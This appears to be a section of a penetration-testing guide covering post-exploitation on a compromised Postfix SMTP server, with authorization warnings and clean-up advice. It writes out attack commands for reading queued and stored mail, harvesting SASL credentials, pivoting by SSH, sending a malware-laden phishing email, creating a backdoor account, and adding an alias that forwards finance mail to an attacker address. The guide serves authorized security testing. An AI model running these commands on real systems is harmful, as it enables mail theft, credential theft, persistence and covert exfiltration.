Post-Exploitation Phase
The post-exploitation phase occurs after successfully exploiting vulnerabilities to gain access to the SMTP server or related systems. This phase focuses on understanding the extent of possible compromise and gathering evidence of potential impact.
Important: Post-exploitation activities should only be performed with explicit authorization and within the scope of your penetration test. These activities demonstrate the real impact of identified vulnerabilities.
Access Assessment
After gaining access to an SMTP server, assess the level of access and control obtained:
Checking System Access
Determining the privileges of the compromised account
id\nwhoami\nuname -a
Explanation: These commands help determine the identity and privileges of the account you've gained access to. In this case, the commands show you're operating as the 'postfix' user on an Ubuntu Linux system. Understanding your access level is crucial for assessing impact and potential for privilege escalation.
Exploring SMTP Configuration
Accessing key configuration files
cat /etc/postfix/main.cf
Explanation: This command examines the main configuration file for a Postfix SMTP server. The output reveals important security information: network ranges that can relay mail without authentication (mynetworks), domains the server will relay for, authentication settings, and TLS configuration. This information helps understand the server's security posture and identify additional misconfigurations.
Data Access and Extraction
Assess what email data could be accessed by an attacker, focusing on demonstrating potential data breach scenarios:
Accessing Mail Queues
Examining emails in the server queue
mailq\npostcat -q 8F3B62510E
Explanation: These commands allow viewing emails currently in the server's queue. 'mailq' shows a list of queued messages with their IDs, and 'postcat -q [ID]' displays the content of a specific message. This demonstrates that an attacker with system access could intercept and read sensitive emails, even those in transit.
Exploring Mailbox Files
Accessing stored emails
find /var/mail -type f | head -5\ncat /var/mail/finance
Explanation: This example shows accessing email files stored on the server. First, we find mailbox files in /var/mail, then examine one belonging to the finance team. This demonstrates that a compromised SMTP server could lead to unauthorized access to stored emails, which often contain sensitive information like financial data, personal information, or internal communications.
Credential Harvesting
Examine if email credentials or other sensitive authentication information can be accessed:
Finding SMTP Credentials
Looking for stored authentication information
grep -r 'password' /etc/postfix/\ncat /etc/postfix/sasl_passwd
Explanation: These commands search for credentials stored in Postfix configuration files. The sasl_passwd file often contains usernames and passwords used by the SMTP server to authenticate to other mail servers for relaying messages. Finding these credentials could allow an attacker to pivot to other systems or send emails through external servers.
Examining Authentication Logs
Looking at SMTP authentication attempts
grep 'auth' /var/log/mail.log | tail
Explanation: This command examines authentication logs for the mail server. The logs show failed login attempts followed by a successful authentication by user 'jsmith'. These logs can reveal username information, password spray attempts, and successful logins. An attacker might use this information to identify active accounts for targeted attacks.
Lateral Movement Potential
Assess if the compromised SMTP server could be used to access other systems in the network:
Network Connectivity Check
Testing connectivity to other systems
netstat -tuln\nssh admin@192.168.1.10
Explanation: These commands explore network connectivity. 'netstat' shows listening services on the server, including SMTP ports and SSH. The SSH attempt to another internal host (192.168.1.10) demonstrates that the compromised mail server could potentially be used as a jumping point to other systems in the network, expanding the breach.
Email-Based Attack Vector
Using the mail server to attack other systems
echo 'Here is the report you requested. Please open it with the latest version of Adobe Reader.\n\n[malicious content would be here]' | mail -s 'Quarterly Report' -a malware.pdf admin@internal-system.example.com
Explanation: This example demonstrates how a compromised mail server could be used to send malicious emails to internal users. Because the email comes from a trusted internal server, it would bypass many security controls and appear legitimate to recipients. This could be used to deliver malware, phishing attacks, or social engineering campaigns to compromise additional systems.
Persistence Mechanisms
Identify ways an attacker might maintain access to the compromised system:
Creating a Backdoor Account
Adding a persistent mail user
useradd -m backdoor\necho 'backdoor:ComplexP@ss123' | chpasswd\nusermod -aG mail backdoor
Explanation: These commands create a new user account with access to mail services. An attacker might create such an account to maintain access even if the original vulnerability is patched. During a penetration test, document how this type of persistence could be established, but do not actually leave backdoors in place.
Email Forwarding Rules
Setting up mail forwarding for data exfiltration
echo 'finance: finance@example.com, hidden@attacker.com' >> /etc/aliases\nnewaliases
Explanation: This example shows adding a hidden forwarding rule to the aliases file. This would cause all emails sent to 'finance@example.com' to also be forwarded to the attacker's external address. This type of persistence is particularly dangerous as it can be difficult to detect and continues to provide access to new information even after the initial breach is remediated.
Clean-up and Documentation
After demonstrating post-exploitation scenarios, proper clean-up and documentation are essential:
- Remove test artifacts - Delete any files, accounts, or configurations created during testing
- Restore original configurations - Return the system to its original state
- Document findings - Detail all actions taken, what was accessed, and potential impact
- Capture evidence - Include screenshots, command outputs, and logs that demonstrate the issues
Reporting Recommendations
For each post-exploitation finding, include:
- A clear description of what was achieved
- The potential business impact (data breach, service disruption, reputation damage)
- The technical severity (critical, high, medium, low)
- Recommendations for remediation
- Supporting evidence (sanitized to remove sensitive data)